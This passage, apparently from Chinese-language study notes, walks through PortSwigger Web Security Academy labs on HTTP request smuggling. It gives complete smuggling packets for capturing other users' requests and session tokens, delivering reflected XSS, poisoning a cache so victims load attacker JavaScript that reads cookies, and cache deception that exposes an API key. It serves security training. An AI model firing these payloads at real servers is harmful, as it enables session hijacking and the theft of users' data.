- 寻找类似留言的功能区,拦截数据包,修改位置,是否能正常触发留言,验证无问题
- 构造请求走私攻击包
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=your-session-token
csrf=your-csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test
- 反复发送机会,反复刷新文章页,查看留言,发现能显示受害用户的数据包,但不全
- 逐渐增大第二个包(走私包)的CL
CL数值,不能太小,数据包会截断。不能长,否则第二次发送,会报超时错误。所以得逐渐增大。最终找到最精确的大小
POST / HTTP/1.1
Host: ac031f531f8d7595c0540c16001c00ca.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 280
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Cookie: session=HlQN25yrPKwTAuxc7Lut7wGfvqWy28Dv
Content-Type: application/x-www-form-urlencoded
Content-Length: 845
csrf=2glELqVZxInWRYmUrXiozfsmvWJ9ucEb&postId=6&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=comment+2
页面显示效果
- 点击登录页面,拦截数据包,直接更换session,要保持csrf与测试时一致。成功
10. 利用HTTP请求走私来传递反射的XSS (Exploiting HTTP request smuggling to deliver reflected XSS)
- 目标
使下一个访问的受害用户执行alert(1)
前端服务器不支持chunked encoding
User-Agent处存在XSS攻击点
- 解题思路
- 非常明确使用攻击包如下
POST / HTTP/1.1
Host: ac881f5b1e50b164c02e036e0013000d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
需要多次反复发送数据包,知道出现404响应。因不知道目标用户核实访问,需要反复尝试
11. 利用HTTP请求走私来执行Web缓存中毒 (Exploiting HTTP request smuggling to perform web cache poisoning)
- 目标
使受害用户收到中毒缓存,加载恶意js,执行alert(document.cookie)
前端服务器不支持chunked encoding
,会对某些相应进行缓存
- 解题思路
- 在文章中,发现下一个链接点击,发现存在Host漏洞
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
- 在攻击机head中设置 Content-Type: text/javascript; charset=utf-8
body: alert(document.cookie)
POST / HTTP/1.1
Host: ac921fe81f97f4a7c022050100610036.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 193
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: exploit-acc01f481ff3f44ac06d05c1018e0059.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
GET /resources/js/tracking.js HTTP/1.1
Host: ac921fe81f97f4a7c022050100610036.web-security-academy.net
Connection: close
- 反复发送,刷新浏览器。
12. 利用HTTP请求走私进行Web缓存欺骗 (Exploiting HTTP request smuggling to perform web cache deception)
- 目标
生成存有受害用户敏感数据 API key 的缓存,找到该缓存,提交敏感数据。
前端服务器不支持chunked encoding
,会缓存静态资源。可以登陆攻击者申请的测试账户熟悉web程序
- 解题思路
该靶场整个思路比较完整
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
X-Ignore: X